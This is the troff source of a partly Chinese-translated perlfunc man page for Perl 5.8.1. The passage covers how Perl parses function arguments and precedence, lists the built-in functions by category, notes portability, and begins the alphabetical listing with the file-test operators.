. ds PI pi
. if (\n(.H=4u)&(1m=24u) .ds -- \(*W\h'-12u'\(*W\h'-12u'-\" diablo 10 pitch
. if (\n(.H=4u)&(1m=20u) .ds -- \(*W\h'-12u'\(*W\h'-8u'-\" diablo 12 pitch
. ds L" ""
. ds R" ""
. ds C` ""
. ds C' ""
'br\}
.el\{\
. ds -- \|\(em\|
. ds PI \(*p
. ds L" ``
. ds R" ''
'br\}
.\"
.\" If the F register is turned on, we'll generate index entries on stderr for
.\" titles (.TH), headers (.SH), subsections (.Sh), items (.Ip), and index
.\" entries marked with X<> in POD. Of course, you'll have to process the
.\" output yourself in some meaningful fashion.
.if \nF \{\
. de IX
. tm Index:\\$1\t\\n%\t"\\$2"
..
. nr % 0
. rr F
.\}
.\"
.\" For nroff, turn off justification. Always turn off hyphenation; it makes
.\" way too many mistakes in technical documents.
.hy 0
.if n .na
.\"
.\" Accent mark definitions (@(#)ms.acc 1.5 88/02/08 SMI; from UCB 4.2).
.\" Fear. Run. Save yourself. No user-serviceable parts.
. \" fudge factors for nroff and troff
.if n \{\
. ds #H 0
. ds #V .8m
. ds #F .3m
. ds #[ \f1
. ds #] \fP
.\}
.if t \{\
. ds #H ((1u-(\\\\n(.fu%2u))*.13m)
. ds #V .6m
. ds #F 0
. ds #[ \&
. ds #] \&
.\}
. \" simple accents for nroff and troff
.if n \{\
. ds ' \&
. ds ` \&
. ds ^ \&
. ds , \&
. ds ~ ~
. ds /
.\}
.if t \{\
. ds ' \\k:\h'-(\\n(.wu*8/10-\*(#H)'\'\h"|\\n:u"
. ds ` \\k:\h'-(\\n(.wu*8/10-\*(#H)'\`\h'|\\n:u'
. ds ^ \\k:\h'-(\\n(.wu*10/11-\*(#H)'^\h'|\\n:u'
. ds , \\k:\h'-(\\n(.wu*8/10)',\h'|\\n:u'
. ds ~ \\k:\h'-(\\n(.wu-\*(#H-.1m)'~\h'|\\n:u'
. ds / \\k:\h'-(\\n(.wu*8/10-\*(#H)'\z\(sl\h'|\\n:u'
.\}
. \" troff and (daisy-wheel) nroff accents
.ds : \\k:\h'-(\\n(.wu*8/10-\*(#H+.1m+\*(#F)'\v'-\*(#V'\z.\h'.2m+\*(#F'.\h'|\\n:u'\v'\*(#V'
.ds 8 \h'\*(#H'\(*b\h'-\*(#H'
.ds o \\k:\h'-(\\n(.wu+\w'\(de'u-\*(#H)/2u'\v'-.3n'\*(#[\z\(de\v'.3n'\h'|\\n:u'\*(#]
.ds d- \h'\*(#H'\(pd\h'-\w'~'u'\v'-.25m'\f2\(hy\fP\v'.25m'\h'-\*(#H'
.ds D- D\\k:\h'-\w'D'u'\v'-.11m'\z\(hy\v'.11m'\h'|\\n:u'
.ds th \*(#[\v'.3m'\s+1I\s-1\v'-.3m'\h'-(\w'I'u*2/3)'\s-1o\s+1\*(#]
.ds Th \*(#[\s+2I\s-2\h'-\w'I'u*3/5'\v'-.3m'o\v'.3m'\*(#]
.ds ae a\h'-(\w'a'u*4/10)'e
.ds Ae A\h'-(\w'A'u*4/10)'E
. \" corrections for vroff
.if v .ds ~ \\k:\h'-(\\n(.wu*9/10-\*(#H)'\s-2\u~\d\s+2\h'|\\n:u'
.if v .ds ^ \\k:\h'-(\\n(.wu*10/11-\*(#H)'\v'-.4m'^\v'.4m'\h'|\\n:u'
. \" for low resolution devices (crt and lpr)
.if \n(.H>23 .if \n(.V>19 \
\{\
. ds : e
. ds 8 ss
. ds o a
. ds d- d\h'-1'\(ga
. ds D- D\h'-1'\(hy
. ds th \o'bp'
. ds Th \o'LP'
. ds ae ae
. ds Ae AE
.\}
.rm #[ #] #H #V #F C
.\" ========================================================================
.\"
.IX Title "PERLFUNC 1"
.TH PERLFUNC 7 "2003-09-02" "perl v5.8.1" "Perl Programmers Reference Guide"
.SH NAME
perlfunc \- Perl 内部函数
.SH "描述 DESCRIPTION"
.IX Header "DESCRIPTION"
这一章里的函数可以作为表达式来使用。
Perl 中的函数主要分为两类：数组运算符和命名的一元运算符。
不同之处在于他们的优先级关系。(参阅 perlop 中的优先级表 )
数组运算符需要一个以上的参数，而一元运算符不能超过一个参数。
因此，一个逗号将结束一个一元运算符, 但对于数组运算符，只是起到分隔的作用。
一元运算符一般只提供一个标量作为参数，而数组运算符可能会提供标量或者数组作为参数。
如果二者都有，标量参数一般在前面，数组参数跟在后面。 (注意，可以只有一个数组变量)
例如, splice() 有三个标量变量，后面加上一个数组, 相反 gethostbyname() 有四个标量变量。
.PP
在语法描述中,数组运算符需要一个用LIST标识的数组作为参数。
这些 数组可能由标量参数和数组值混合组成;
数组值将包含在数组中，每个元素被插入数组中,
形成一个更长一维的数组值。 数组的元素应该用逗号分开。
.PP
下面列出的任何函数可以在参数两边有括号，也可以没有。(语法描述中省略括号)
如果你使用括号，一个简单的规则是 (偶尔会令人吃惊):
如果是函数,没有优先级的问题；如果它是一个数组运算符或者一元运算符
那么就要考虑优先级。并且，函数两边的空白和 "（" 是不计算的－－因此，
有时候需要小心行事。看看下面的几个例子：
.PP
.Vb 5
\& print 1+2+4; # Prints 7.
\& print(1+2) + 4; # Prints 3.
\& print (1+2)+4; # Also prints 3!
\& print +(1+2)+4; # Prints 7.
\& print ((1+2)+4); # Prints 7.
.Ve
.PP
前面说得似乎有点抽象，那么你在运行PERL时带上-w开关你将得到一些
警告信息，您可以根据这些信息再体会一下。例如，上面的例子会产生如下信息：
.PP
.Vb 2
\& print (...) interpreted as function at - line 1.
\& Useless use of integer addition in void context at - line 1.
.Ve
.PP
有些函数根本不需要参数，因此工作方式和一元运算符和数组运算符都不同，
\f(CW\*(C`time\*(C'\fR 和 \f(CW\*(C`endpwent\*(C'\fR 算是两个典型吧.
如, \f(CW\*(C`time+86_400\*(C'\fR 实际上是 \&\f(CW\*(C`time() + 86_400\*(C'\fR.
.PP
对于可以用在标量或者数组的上下文中的函数,非失败性的错误在标量环境下
通常暗示返回了未定义的值或在数组环境下返回一个空的数组。
.PP
记住下面的重要原则：
没有规则和数组环境下的表达式的行为和他的标量环境的行为有关系，反之亦然。 这可能产生两种完全不同的情况。在标量环境下，每个运算符和函数决定怎样以最恰当的次序返回值。 有些运算符在数组环境下返回数组的长度.，有些运算符返回的一个元素，有些返回数组中的最后一个元素，有些返回成功执行的操作的语句数。通常，他们返回一些你需要的值，除非你需要连续性。
.PP
在标量环境下的命名数组在第一眼看上去时和在标量环境下的列表有很大的不同。 在标量环境下，你不能得到一个像 \f(CW\*(C`(1,2,3)\*(C'\fR 的列表,因为在编译时，编译器是知道当前环境的，它将在那里产生标量的逗号运算符， 而不是用于分隔数组元素的逗号. 也就是说，它永远不会以一个数组开始。
.PP
一般说来， PERL中的函数对应相应的系统调用 (如\fIchown\fR\|(2), \fIfork\fR\|(2), \fIclosedir\fR\|(2), 等等.) 成功调用后返回真值，否则返回 \f(CW\*(C`undef\*(C'\fR , 下面将会提到。这一点和C的接口不一样，C中出错时将返回\f(CW\*(C`\-1\*(C'\fR .但是也有几个例外，他们是 \f(CW\*(C`wait\*(C'\fR,
\&\f(CW\*(C`waitpid\*(C'\fR, 和 \f(CW\*(C`syscall\*(C'\fR 。
系统调用出错时出错信息将通过特殊变量$!返回。其他的函数则不会，除非发生意外。
.Sh "函数分类 Perl Functions by Category"
.IX Subsection "Perl Functions by Category"
下面是Perl中的函数(包括看起来像函数的，如某些关键词，命名运算符)的分类. 有些函数在多处出现了。
.IP "标量和字符串函数 Functions for SCALARs or strings" 4
.IX Item "Functions for SCALARs or strings"
\&\f(CW\*(C`chomp\*(C'\fR, \f(CW\*(C`chop\*(C'\fR, \f(CW\*(C`chr\*(C'\fR, \f(CW\*(C`crypt\*(C'\fR, \f(CW\*(C`hex\*(C'\fR, \f(CW\*(C`index\*(C'\fR, \f(CW\*(C`lc\*(C'\fR, \f(CW\*(C`lcfirst\*(C'\fR,
\&\f(CW\*(C`length\*(C'\fR, \f(CW\*(C`oct\*(C'\fR, \f(CW\*(C`ord\*(C'\fR, \f(CW\*(C`pack\*(C'\fR, \f(CW\*(C`q/STRING/\*(C'\fR, \f(CW\*(C`qq/STRING/\*(C'\fR, \f(CW\*(C`reverse\*(C'\fR,
\&\f(CW\*(C`rindex\*(C'\fR, \f(CW\*(C`sprintf\*(C'\fR, \f(CW\*(C`substr\*(C'\fR, \f(CW\*(C`tr///\*(C'\fR, \f(CW\*(C`uc\*(C'\fR, \f(CW\*(C`ucfirst\*(C'\fR, \f(CW\*(C`y///\*(C'\fR
.IP "正则表达式和模式匹配 Regular expressions and pattern matching" 4
.IX Item "Regular expressions and pattern matching"
\&\f(CW\*(C`m//\*(C'\fR, \f(CW\*(C`pos\*(C'\fR, \f(CW\*(C`quotemeta\*(C'\fR, \f(CW\*(C`s///\*(C'\fR, \f(CW\*(C`split\*(C'\fR, \f(CW\*(C`study\*(C'\fR, \f(CW\*(C`qr//\*(C'\fR
.IP "数字运算 Numeric functions" 4
.IX Item "Numeric functions"
\&\f(CW\*(C`abs\*(C'\fR, \f(CW\*(C`atan2\*(C'\fR, \f(CW\*(C`cos\*(C'\fR, \f(CW\*(C`exp\*(C'\fR, \f(CW\*(C`hex\*(C'\fR, \f(CW\*(C`int\*(C'\fR, \f(CW\*(C`log\*(C'\fR, \f(CW\*(C`oct\*(C'\fR, \f(CW\*(C`rand\*(C'\fR,
\&\f(CW\*(C`sin\*(C'\fR, \f(CW\*(C`sqrt\*(C'\fR, \f(CW\*(C`srand\*(C'\fR
.ie n .IP "真实数组函数 Functions for real @ARRAYs" 4
.el .IP "Functions for real \f(CW@ARRAYs\fR" 4
.IX Item "Functions for real @ARRAYs"
\&\f(CW\*(C`pop\*(C'\fR, \f(CW\*(C`push\*(C'\fR, \f(CW\*(C`shift\*(C'\fR, \f(CW\*(C`splice\*(C'\fR, \f(CW\*(C`unshift\*(C'\fR
.IP "列表数据函数 Functions for list data" 4
.IX Item "Functions for list data"
\&\f(CW\*(C`grep\*(C'\fR, \f(CW\*(C`join\*(C'\fR, \f(CW\*(C`map\*(C'\fR, \f(CW\*(C`qw/STRING/\*(C'\fR, \f(CW\*(C`reverse\*(C'\fR, \f(CW\*(C`sort\*(C'\fR, \f(CW\*(C`unpack\*(C'\fR
.ie n .IP "真实哈希函数 Functions for real %HASHes" 4
.el .IP "Functions for real \f(CW%HASHes\fR" 4
.IX Item "Functions for real %HASHes"
\&\f(CW\*(C`delete\*(C'\fR, \f(CW\*(C`each\*(C'\fR, \f(CW\*(C`exists\*(C'\fR, \f(CW\*(C`keys\*(C'\fR, \f(CW\*(C`values\*(C'\fR
.IP "输入输出 Input and output functions" 4
.IX Item "Input and output functions"
\&\f(CW\*(C`binmode\*(C'\fR, \f(CW\*(C`close\*(C'\fR, \f(CW\*(C`closedir\*(C'\fR, \f(CW\*(C`dbmclose\*(C'\fR, \f(CW\*(C`dbmopen\*(C'\fR, \f(CW\*(C`die\*(C'\fR, \f(CW\*(C`eof\*(C'\fR,
\&\f(CW\*(C`fileno\*(C'\fR, \f(CW\*(C`flock\*(C'\fR, \f(CW\*(C`format\*(C'\fR, \f(CW\*(C`getc\*(C'\fR, \f(CW\*(C`print\*(C'\fR, \f(CW\*(C`printf\*(C'\fR, \f(CW\*(C`read\*(C'\fR,
\&\f(CW\*(C`readdir\*(C'\fR, \f(CW\*(C`rewinddir\*(C'\fR, \f(CW\*(C`seek\*(C'\fR, \f(CW\*(C`seekdir\*(C'\fR, \f(CW\*(C`select\*(C'\fR, \f(CW\*(C`syscall\*(C'\fR,
\&\f(CW\*(C`sysread\*(C'\fR, \f(CW\*(C`sysseek\*(C'\fR, \f(CW\*(C`syswrite\*(C'\fR, \f(CW\*(C`tell\*(C'\fR, \f(CW\*(C`telldir\*(C'\fR, \f(CW\*(C`truncate\*(C'\fR,
\&\f(CW\*(C`warn\*(C'\fR, \f(CW\*(C`write\*(C'\fR
.IP "定长的数据或记录 Functions for fixed length data or records" 4
.IX Item "Functions for fixed length data or records"
\&\f(CW\*(C`pack\*(C'\fR, \f(CW\*(C`read\*(C'\fR, \f(CW\*(C`syscall\*(C'\fR, \f(CW\*(C`sysread\*(C'\fR, \f(CW\*(C`syswrite\*(C'\fR, \f(CW\*(C`unpack\*(C'\fR, \f(CW\*(C`vec\*(C'\fR
.IP "文件目录控制 Functions for filehandles, files, or directories" 4
.IX Item "Functions for filehandles, files, or directories"
\&\f(CW\*(C`\-\f(CIX\f(CW\*(C'\fR, \f(CW\*(C`chdir\*(C'\fR, \f(CW\*(C`chmod\*(C'\fR, \f(CW\*(C`chown\*(C'\fR, \f(CW\*(C`chroot\*(C'\fR, \f(CW\*(C`fcntl\*(C'\fR, \f(CW\*(C`glob\*(C'\fR,
\&\f(CW\*(C`ioctl\*(C'\fR, \f(CW\*(C`link\*(C'\fR, \f(CW\*(C`lstat\*(C'\fR, \f(CW\*(C`mkdir\*(C'\fR, \f(CW\*(C`open\*(C'\fR, \f(CW\*(C`opendir\*(C'\fR,
\&\f(CW\*(C`readlink\*(C'\fR, \f(CW\*(C`rename\*(C'\fR, \f(CW\*(C`rmdir\*(C'\fR, \f(CW\*(C`stat\*(C'\fR, \f(CW\*(C`symlink\*(C'\fR, \f(CW\*(C`sysopen\*(C'\fR,
\&\f(CW\*(C`umask\*(C'\fR, \f(CW\*(C`unlink\*(C'\fR, \f(CW\*(C`utime\*(C'\fR
.IP "流控制关键词 Keywords related to the control flow of your perl program" 4
.IX Item "Keywords related to the control flow of your perl program"
\&\f(CW\*(C`caller\*(C'\fR, \f(CW\*(C`continue\*(C'\fR, \f(CW\*(C`die\*(C'\fR, \f(CW\*(C`do\*(C'\fR, \f(CW\*(C`dump\*(C'\fR, \f(CW\*(C`eval\*(C'\fR, \f(CW\*(C`exit\*(C'\fR,
\&\f(CW\*(C`goto\*(C'\fR, \f(CW\*(C`last\*(C'\fR, \f(CW\*(C`next\*(C'\fR, \f(CW\*(C`redo\*(C'\fR, \f(CW\*(C`return\*(C'\fR, \f(CW\*(C`sub\*(C'\fR, \f(CW\*(C`wantarray\*(C'\fR
.IP "作用域关键词 Keywords related to scoping" 4
.IX Item "Keywords related to scoping"
\&\f(CW\*(C`caller\*(C'\fR, \f(CW\*(C`import\*(C'\fR, \f(CW\*(C`local\*(C'\fR, \f(CW\*(C`my\*(C'\fR, \f(CW\*(C`our\*(C'\fR, \f(CW\*(C`package\*(C'\fR, \f(CW\*(C`use\*(C'\fR
.IP "杂项 Miscellaneous functions" 4
.IX Item "Miscellaneous functions"
\&\f(CW\*(C`defined\*(C'\fR, \f(CW\*(C`dump\*(C'\fR, \f(CW\*(C`eval\*(C'\fR, \f(CW\*(C`formline\*(C'\fR, \f(CW\*(C`local\*(C'\fR, \f(CW\*(C`my\*(C'\fR, \f(CW\*(C`our\*(C'\fR, \f(CW\*(C`reset\*(C'\fR,
\&\f(CW\*(C`scalar\*(C'\fR, \f(CW\*(C`undef\*(C'\fR, \f(CW\*(C`wantarray\*(C'\fR
.IP "进程和进程组 Functions for processes and process groups" 4
.IX Item "Functions for processes and process groups"
\&\f(CW\*(C`alarm\*(C'\fR, \f(CW\*(C`exec\*(C'\fR, \f(CW\*(C`fork\*(C'\fR, \f(CW\*(C`getpgrp\*(C'\fR, \f(CW\*(C`getppid\*(C'\fR, \f(CW\*(C`getpriority\*(C'\fR, \f(CW\*(C`kill\*(C'\fR,
\&\f(CW\*(C`pipe\*(C'\fR, \f(CW\*(C`qx/STRING/\*(C'\fR, \f(CW\*(C`setpgrp\*(C'\fR, \f(CW\*(C`setpriority\*(C'\fR, \f(CW\*(C`sleep\*(C'\fR, \f(CW\*(C`system\*(C'\fR,
\&\f(CW\*(C`times\*(C'\fR, \f(CW\*(C`wait\*(C'\fR, \f(CW\*(C`waitpid\*(C'\fR
.IP "模块关键词 Keywords related to perl modules" 4
.IX Item "Keywords related to perl modules"
\&\f(CW\*(C`do\*(C'\fR, \f(CW\*(C`import\*(C'\fR, \f(CW\*(C`no\*(C'\fR, \f(CW\*(C`package\*(C'\fR, \f(CW\*(C`require\*(C'\fR, \f(CW\*(C`use\*(C'\fR
.IP "类和面向对象关键词 Keywords related to classes and object-orientedness" 4
.IX Item "Keywords related to classes and object-orientedness"
\&\f(CW\*(C`bless\*(C'\fR, \f(CW\*(C`dbmclose\*(C'\fR, \f(CW\*(C`dbmopen\*(C'\fR, \f(CW\*(C`package\*(C'\fR, \f(CW\*(C`ref\*(C'\fR, \f(CW\*(C`tie\*(C'\fR, \f(CW\*(C`tied\*(C'\fR,
\&\f(CW\*(C`untie\*(C'\fR, \f(CW\*(C`use\*(C'\fR
.IP "底层 socket 函数 Low-level socket functions" 4
.IX Item "Low-level socket functions"
\&\f(CW\*(C`accept\*(C'\fR, \f(CW\*(C`bind\*(C'\fR, \f(CW\*(C`connect\*(C'\fR, \f(CW\*(C`getpeername\*(C'\fR, \f(CW\*(C`getsockname\*(C'\fR,
\&\f(CW\*(C`getsockopt\*(C'\fR, \f(CW\*(C`listen\*(C'\fR, \f(CW\*(C`recv\*(C'\fR, \f(CW\*(C`send\*(C'\fR, \f(CW\*(C`setsockopt\*(C'\fR, \f(CW\*(C`shutdown\*(C'\fR,
\&\f(CW\*(C`socket\*(C'\fR, \f(CW\*(C`socketpair\*(C'\fR
.IP "SysV 进程间通讯 System V interprocess communication functions" 4
.IX Item "System V interprocess communication functions"
\&\f(CW\*(C`msgctl\*(C'\fR, \f(CW\*(C`msgget\*(C'\fR, \f(CW\*(C`msgrcv\*(C'\fR, \f(CW\*(C`msgsnd\*(C'\fR, \f(CW\*(C`semctl\*(C'\fR, \f(CW\*(C`semget\*(C'\fR, \f(CW\*(C`semop\*(C'\fR,
\&\f(CW\*(C`shmctl\*(C'\fR, \f(CW\*(C`shmget\*(C'\fR, \f(CW\*(C`shmread\*(C'\fR, \f(CW\*(C`shmwrite\*(C'\fR
.IP "获取用户信息 Fetching user and group info" 4
.IX Item "Fetching user and group info"
\&\f(CW\*(C`endgrent\*(C'\fR, \f(CW\*(C`endhostent\*(C'\fR, \f(CW\*(C`endnetent\*(C'\fR, \f(CW\*(C`endpwent\*(C'\fR, \f(CW\*(C`getgrent\*(C'\fR,
\&\f(CW\*(C`getgrgid\*(C'\fR, \f(CW\*(C`getgrnam\*(C'\fR, \f(CW\*(C`getlogin\*(C'\fR, \f(CW\*(C`getpwent\*(C'\fR, \f(CW\*(C`getpwnam\*(C'\fR,
\&\f(CW\*(C`getpwuid\*(C'\fR, \f(CW\*(C`setgrent\*(C'\fR, \f(CW\*(C`setpwent\*(C'\fR
.IP "获取网络信息 Fetching network info" 4
.IX Item "Fetching network info"
\&\f(CW\*(C`endprotoent\*(C'\fR, \f(CW\*(C`endservent\*(C'\fR, \f(CW\*(C`gethostbyaddr\*(C'\fR, \f(CW\*(C`gethostbyname\*(C'\fR,
\&\f(CW\*(C`gethostent\*(C'\fR, \f(CW\*(C`getnetbyaddr\*(C'\fR, \f(CW\*(C`getnetbyname\*(C'\fR, \f(CW\*(C`getnetent\*(C'\fR,
\&\f(CW\*(C`getprotobyname\*(C'\fR, \f(CW\*(C`getprotobynumber\*(C'\fR, \f(CW\*(C`getprotoent\*(C'\fR,
\&\f(CW\*(C`getservbyname\*(C'\fR, \f(CW\*(C`getservbyport\*(C'\fR, \f(CW\*(C`getservent\*(C'\fR, \f(CW\*(C`sethostent\*(C'\fR,
\&\f(CW\*(C`setnetent\*(C'\fR, \f(CW\*(C`setprotoent\*(C'\fR, \f(CW\*(C`setservent\*(C'\fR
.IP "时间函数 Time-related functions" 4
.IX Item "Time-related functions"
\&\f(CW\*(C`gmtime\*(C'\fR, \f(CW\*(C`localtime\*(C'\fR, \f(CW\*(C`time\*(C'\fR, \f(CW\*(C`times\*(C'\fR
.IP "PERL5中的新函数 Functions new in perl5" 4
.IX Item "Functions new in perl5"
\&\f(CW\*(C`abs\*(C'\fR, \f(CW\*(C`bless\*(C'\fR, \f(CW\*(C`chomp\*(C'\fR, \f(CW\*(C`chr\*(C'\fR, \f(CW\*(C`exists\*(C'\fR, \f(CW\*(C`formline\*(C'\fR, \f(CW\*(C`glob\*(C'\fR,
\&\f(CW\*(C`import\*(C'\fR, \f(CW\*(C`lc\*(C'\fR, \f(CW\*(C`lcfirst\*(C'\fR, \f(CW\*(C`map\*(C'\fR, \f(CW\*(C`my\*(C'\fR, \f(CW\*(C`no\*(C'\fR, \f(CW\*(C`our\*(C'\fR, \f(CW\*(C`prototype\*(C'\fR,
\&\f(CW\*(C`qx\*(C'\fR, \f(CW\*(C`qw\*(C'\fR, \f(CW\*(C`readline\*(C'\fR, \f(CW\*(C`readpipe\*(C'\fR, \f(CW\*(C`ref\*(C'\fR, \f(CW\*(C`sub*\*(C'\fR, \f(CW\*(C`sysopen\*(C'\fR, \f(CW\*(C`tie\*(C'\fR,
\&\f(CW\*(C`tied\*(C'\fR, \f(CW\*(C`uc\*(C'\fR, \f(CW\*(C`ucfirst\*(C'\fR, \f(CW\*(C`untie\*(C'\fR, \f(CW\*(C`use\*(C'\fR
.Sp
* \- \f(CW\*(C`sub\*(C'\fR was a keyword in perl4, but in perl5 it is an
operator, which can be used in expressions.
.IP "过时的函数 Functions obsoleted in perl5" 4
.IX Item "Functions obsoleted in perl5"
\&\f(CW\*(C`dbmclose\*(C'\fR, \f(CW\*(C`dbmopen\*(C'\fR
.Sh "可移植性 Portability"
.IX Subsection "Portability"
Perl 诞生于UNIX，因此可以访问所有的一般系统调用。
在非UNIX环境中，某些UNIX下有的调用是没有实现的，或者有轻微的区别。受到影响的有：
.PP
\&\f(CW\*(C`\-X\*(C'\fR, \f(CW\*(C`binmode\*(C'\fR, \f(CW\*(C`chmod\*(C'\fR, \f(CW\*(C`chown\*(C'\fR, \f(CW\*(C`chroot\*(C'\fR, \f(CW\*(C`crypt\*(C'\fR,
\&\f(CW\*(C`dbmclose\*(C'\fR, \f(CW\*(C`dbmopen\*(C'\fR, \f(CW\*(C`dump\*(C'\fR, \f(CW\*(C`endgrent\*(C'\fR, \f(CW\*(C`endhostent\*(C'\fR,
\&\f(CW\*(C`endnetent\*(C'\fR, \f(CW\*(C`endprotoent\*(C'\fR, \f(CW\*(C`endpwent\*(C'\fR, \f(CW\*(C`endservent\*(C'\fR, \f(CW\*(C`exec\*(C'\fR,
\&\f(CW\*(C`fcntl\*(C'\fR, \f(CW\*(C`flock\*(C'\fR, \f(CW\*(C`fork\*(C'\fR, \f(CW\*(C`getgrent\*(C'\fR, \f(CW\*(C`getgrgid\*(C'\fR, \f(CW\*(C`gethostbyname\*(C'\fR,
\&\f(CW\*(C`gethostent\*(C'\fR, \f(CW\*(C`getlogin\*(C'\fR, \f(CW\*(C`getnetbyaddr\*(C'\fR, \f(CW\*(C`getnetbyname\*(C'\fR, \f(CW\*(C`getnetent\*(C'\fR,
\&\f(CW\*(C`getppid\*(C'\fR, \f(CW\*(C`getprgp\*(C'\fR, \f(CW\*(C`getpriority\*(C'\fR, \f(CW\*(C`getprotobynumber\*(C'\fR,
\&\f(CW\*(C`getprotoent\*(C'\fR, \f(CW\*(C`getpwent\*(C'\fR, \f(CW\*(C`getpwnam\*(C'\fR, \f(CW\*(C`getpwuid\*(C'\fR,
\&\f(CW\*(C`getservbyport\*(C'\fR, \f(CW\*(C`getservent\*(C'\fR, \f(CW\*(C`getsockopt\*(C'\fR, \f(CW\*(C`glob\*(C'\fR, \f(CW\*(C`ioctl\*(C'\fR,
\&\f(CW\*(C`kill\*(C'\fR, \f(CW\*(C`link\*(C'\fR, \f(CW\*(C`lstat\*(C'\fR, \f(CW\*(C`msgctl\*(C'\fR, \f(CW\*(C`msgget\*(C'\fR, \f(CW\*(C`msgrcv\*(C'\fR,
\&\f(CW\*(C`msgsnd\*(C'\fR, \f(CW\*(C`open\*(C'\fR, \f(CW\*(C`pipe\*(C'\fR, \f(CW\*(C`readlink\*(C'\fR, \f(CW\*(C`rename\*(C'\fR, \f(CW\*(C`select\*(C'\fR, \f(CW\*(C`semctl\*(C'\fR,
\&\f(CW\*(C`semget\*(C'\fR, \f(CW\*(C`semop\*(C'\fR, \f(CW\*(C`setgrent\*(C'\fR, \f(CW\*(C`sethostent\*(C'\fR, \f(CW\*(C`setnetent\*(C'\fR,
\&\f(CW\*(C`setpgrp\*(C'\fR, \f(CW\*(C`setpriority\*(C'\fR, \f(CW\*(C`setprotoent\*(C'\fR, \f(CW\*(C`setpwent\*(C'\fR,
\&\f(CW\*(C`setservent\*(C'\fR, \f(CW\*(C`setsockopt\*(C'\fR, \f(CW\*(C`shmctl\*(C'\fR, \f(CW\*(C`shmget\*(C'\fR, \f(CW\*(C`shmread\*(C'\fR,
\&\f(CW\*(C`shmwrite\*(C'\fR, \f(CW\*(C`socket\*(C'\fR, \f(CW\*(C`socketpair\*(C'\fR,
\&\f(CW\*(C`stat\*(C'\fR, \f(CW\*(C`symlink\*(C'\fR, \f(CW\*(C`syscall\*(C'\fR, \f(CW\*(C`sysopen\*(C'\fR, \f(CW\*(C`system\*(C'\fR,
\&\f(CW\*(C`times\*(C'\fR, \f(CW\*(C`truncate\*(C'\fR, \f(CW\*(C`umask\*(C'\fR, \f(CW\*(C`unlink\*(C'\fR,
\&\f(CW\*(C`utime\*(C'\fR, \f(CW\*(C`wait\*(C'\fR, \f(CW\*(C`waitpid\*(C'\fR
.PP
参见 perlport 和其他平台的说明文档以获得更多关于移植性的资料
.Sh "按字母顺序排列的PERL函数 Alphabetical Listing of Perl Functions"
.IX Subsection "Alphabetical Listing of Perl Functions"
.IP "\-X \s-1FILEHANDLE\s0" 8
.IX Item "-X FILEHANDLE"
.PD 0
.IP "\-X \s-1EXPR\s0" 8
.IX Item "-X EXPR"
.IP "\-X" 8
.IX Item "-X"
.PD
A file test, where X is one of the letters listed below. This unary
operator takes one argument, either a filename or a filehandle, and
tests the associated file to see if something is true about it. If the
argument is omitted, tests \f(CW$_\fR, except for \f(CW\*(C`\-t\*(C'\fR, which tests \s-1STDIN\s0.
Unless otherwise documented, it returns \f(CW1\fR for true and \f(CW''\fR for false, or
the undefined value if the file doesn't exist. Despite the funny
names, precedence is the same as any other named unary operator, and
the argument may be parenthesized like any other unary operator. The
operator may be any of:
.IX Xref "-r -w -x -o -R -W -X -O -e -z -s -f -d -l -p -S -b -c -t -u -g -k -T -B -M -A -C"
.Sp
.Vb 4
\& -r File is readable by effective uid/gid.
\& -w File is writable by effective uid/gid.
\& -x File is executable by effective uid/gid.
\& -o File is owned by effective uid.
.Ve
.Sp
.Vb 4
\& -R File is readable by real uid/gid.
\& -W File is writable by real uid/gid.
\& -X File is executable by real uid/gid.
\& -O File is owned by real uid.
.Ve
.Sp
.Vb 3
\& -e File exists.
\& -z File has zero size (is empty).
\& -s File has nonzero size (returns size in bytes).
.Ve
.Sp
.Vb 8
\& -f File is a plain file.
\& -d File is a directory.
\& -l File is a symbolic link.
\& -p File is a named pipe (FIFO), or Filehandle is a pipe.
\& -S File is a socket.
\& -b File is a block special file.
\& -c File is a character special file.
\& -t Filehandle is opened to a tty.
.Ve
.Sp
.Vb 3
\& -u File has setuid bit set.
\& -g File has setgid bit set.
\& -k File has sticky bit set.
.Ve
.Sp
.Vb 2
\& -T File is an ASCII text file (heuristic guess).
\& -B File is a "binary" file (opposite of -T).
.Ve
.Sp
.Vb 3
\& -M Script start time minus file modification time, in days.
\& -A Same for access time.
\& -C Same for inode change time (Unix, may differ for other platforms)
.Ve
.Sp
Example:
.Sp
.Vb 5
\& while (<>) {
\& chomp;
\& next unless -f $_; # ignore specials
\& #...
\& }
.Ve
.Sp
The interpretation of the file permission operators \f(CW\*(C`\-r\*(C'\fR, \f(CW\*(C`\-R\*(C'\fR,
\&\f(CW\*(C`\-w\*(C'\fR, \f(CW\*(C`\-W\*(C'\fR, \f(CW\*(C`\-x\*(C'\fR, and \f(CW\*(C`\-X\*(C'\fR is by default based solely on the mode
of the file and the uids and gids of the user. There may be other
reasons you can't actually read, write, or execute the file. Such
reasons may be for example network filesystem access controls, ACLs
(access control lists), read-only filesystems, and unrecognized
executable formats.
.Sp
Also note that, for the superuser on the local filesystems, the \f(CW\*(C`\-r\*(C'\fR,
\&\f(CW\*(C`\-R\*(C'\fR, \f(CW\*(C`\-w\*(C'\fR, and \f(CW\*(C`\-W\*(C'\fR tests always return 1, and \f(CW\*(C`\-x\*(C'\fR and \f(CW\*(C`\-X\*(C'\fR return 1
if any execute bit is set in the mode. Scripts run by the superuser
may thus need to do a \fIstat()\fR to determine the actual mode of the file,
or temporarily set their effective uid to something else.
.Sp
If you are using ACLs, there is a pragma called \f(CW\*(C`filetest\*(C'\fR that may
produce more accurate results than the bare \fIstat()\fR mode bits.
When under the \f(CW\*(C`use filetest 'access'\*(C'\fR the above-mentioned filetests
will test whether the permission can (not) be granted using the
\&\fIaccess()\fR family of system calls. Also note that the \f(CW\*(C`\-x\*(C'\fR and \f(CW\*(C`\-X\*(C'\fR may
under this pragma return true even if there are no execute permission
bits set (nor any extra execute permission ACLs). This strangeness is
due to the underlying system calls' definitions. Read the
documentation for the \f(CW\*(C`filetest\*(C'\fR pragma for more information.
.Sp
Note that \f(CW\*(C`\-s/a/b/\*(C'\fR does not do a negated substitution. Saying
\&\f(CW\*(C`\-exp($foo)\*(C'\fR still works as expected, however\*(--only single letters
following a minus are interpreted as file tests.
.Sp
The \f(CW\*(C`\-T\*(C'\fR and \f(CW\*(C`\-B\*(C'\fR switches work as follows. The first block or so of the
file is examined for odd characters such as strange control codes or
characters with the high bit set. If too many strange characters (>30%)
are found, it's a \f(CW\*(C`\-B\*(C'\fR file, otherwise it's a \f(CW\*(C`\-T\*(C'\fR file. Also, any file
containing null in the first block is considered a binary file. If \f(CW\*(C`\-T\*(C'\fR
